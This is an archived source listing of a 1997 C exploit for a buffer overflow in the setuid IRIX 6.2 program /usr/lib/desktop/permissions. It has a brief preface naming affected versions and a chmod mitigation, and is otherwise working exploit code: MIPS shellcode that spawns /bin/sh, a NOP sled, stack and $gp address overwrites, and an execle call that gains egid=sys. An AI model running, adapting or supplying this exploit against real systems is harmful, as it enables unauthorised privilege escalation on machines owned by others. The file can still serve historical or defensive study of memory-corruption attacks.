home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / irix-dp.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  3.7 KB  |  125 lines

  1. While we're on the subject, here's another buffer overflow for Irix 6.2
  2. This time it's /usr/lib/desktop/permissions. Although it's suid root,
  3. this exploit will only give you egid=sys. There may well be exploits
  4. which get root from it so you'd be as well to
  5. chmod u-s /usr/lib/desktop/permissions to be on the safe side.
  6.  
  7. As this exploit hits $gp, it won't work on Irix 5.3
  8.  
  9. Irix 6.3 isn't vulnerable as SGI appears not to ship it with the program
  10. in question (although there is still a manual page for it).
  11.  
  12. You'll need to give the target machine access to your display for this
  13. exploit to work.
  14.  
  15. ------------------------- cut here --------------------------------------
  16.  
  17. /* /usr/lib/desktop/permissions exploit by DCRH 26/5/97
  18.  *
  19.  * This gives you egid = sys
  20.  *
  21.  * Tested on: R8000 Power Challenge (Irix64 6.2)
  22.  *
  23.  * Exploit doesn't work on Irix 5.x due to stack position
  24.  *
  25.  * compile as: cc -n32 perm.c
  26.  */
  27.  
  28. #include <stdio.h>
  29. #include <stdlib.h>
  30. #include <string.h>
  31. #include <sys/types.h>
  32. #include <unistd.h>
  33.  
  34. #define NUM_ADDRESSES   400
  35. #define BUF_LENGTH      700
  36. #define EXTRA           500
  37. #define OFFSET          0x200
  38. #define GP_OFFSET       31612
  39. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  40.  
  41. #define u_long unsigned
  42.  
  43. u_long get_sp_code[] = {
  44.     0x03a01025,         /* move $v0,$sp         */
  45.     0x03e00008,         /* jr $ra               */
  46.     0x00000000,         /* nop                  */
  47. };
  48.  
  49. u_long irix_shellcode[] = {
  50.     0x24041234,         /* li $4,0x1234         */
  51.     0x2084edcc,         /* sub $4,0x1234        */
  52.     0x0491fffe,         /* bgezal $4,pc-4       */
  53.     0x03bd302a,         /* sgt $6,$sp,$sp       */
  54.     0x23e4012c,         /* addi $4,$31,264+36   */
  55.     0xa086feff,         /* sb $6,-264+7($4)     */
  56.     0x2084fef8,         /* sub $4,264           */
  57.     0x20850110,         /* addi $5,$4,264+8     */
  58.     0xaca4fef8,         /* sw $4,-264($5)       */
  59.     0xaca6fefc,         /* sw $4,-260($5)       */
  60.     0x20a5fef8,         /* sub $5, 264          */
  61.     0x240203f3,         /* li $v0,1011          */
  62.     0x03ffffcc,         /* syscall 0xfffff      */
  63.     0x2f62696e,         /* "/bin"               */
  64.     0x2f7368ff,         /* "/sh"                */
  65. };
  66.  
  67. char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
  68.  
  69. void main(int argc, char **argv)
  70. {
  71.     char *env[] = {NULL};
  72.     u_long targ_addr, stack, tmp;
  73.     u_long *long_p;
  74.     int i, code_length = strlen((char *)irix_shellcode)+1;
  75.     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  76.  
  77.     stack = get_sp();
  78.  
  79.     if (stack & 0x80000000) {
  80.         printf("Recompile with the '-n32' option\n");
  81.         exit(1);
  82.     }
  83.  
  84.     long_p =(u_long *)  buf;
  85.     targ_addr = stack + OFFSET;
  86.  
  87.     if (argc > 1)
  88.         targ_addr += atoi(argv[1]) * 4;
  89.  
  90.     if (targ_addr + GP_OFFSET > 0x80000000) {
  91.         printf("Sorry - this exploit for Irix 6.x only\n");
  92.         exit(1);
  93.     }
  94.  
  95.     tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
  96.  
  97.     while ((tmp & 0xff000000) == 0 ||
  98.            (tmp & 0x00ff0000) == 0 ||
  99.            (tmp & 0x0000ff00) == 0 ||
  100.            (tmp & 0x000000ff) == 0)
  101.         tmp += 4;
  102.  
  103.     for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
  104.         *long_p++ = tmp;
  105.  
  106.     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  107.         *long_p++ = IRIX_NOP;
  108.  
  109.     for (i = 0; i < code_length/sizeof(u_long); i++)
  110.         *long_p++ = irix_shellcode[i];
  111.  
  112.     tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;
  113.  
  114.     for (i = 0; i < EXTRA / sizeof(u_long); i++)
  115.         *long_p++ = (tmp << 16) | (tmp >> 16);
  116.  
  117.     *long_p = 0;
  118.  
  119.     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  120.  
  121.     execle("/usr/lib/desktop/permissions", "permissions",
  122.            "-display", getenv("DISPLAY"), "/bin/ls", buf, 0, env);
  123.     perror("execl failed");
  124. }
  125.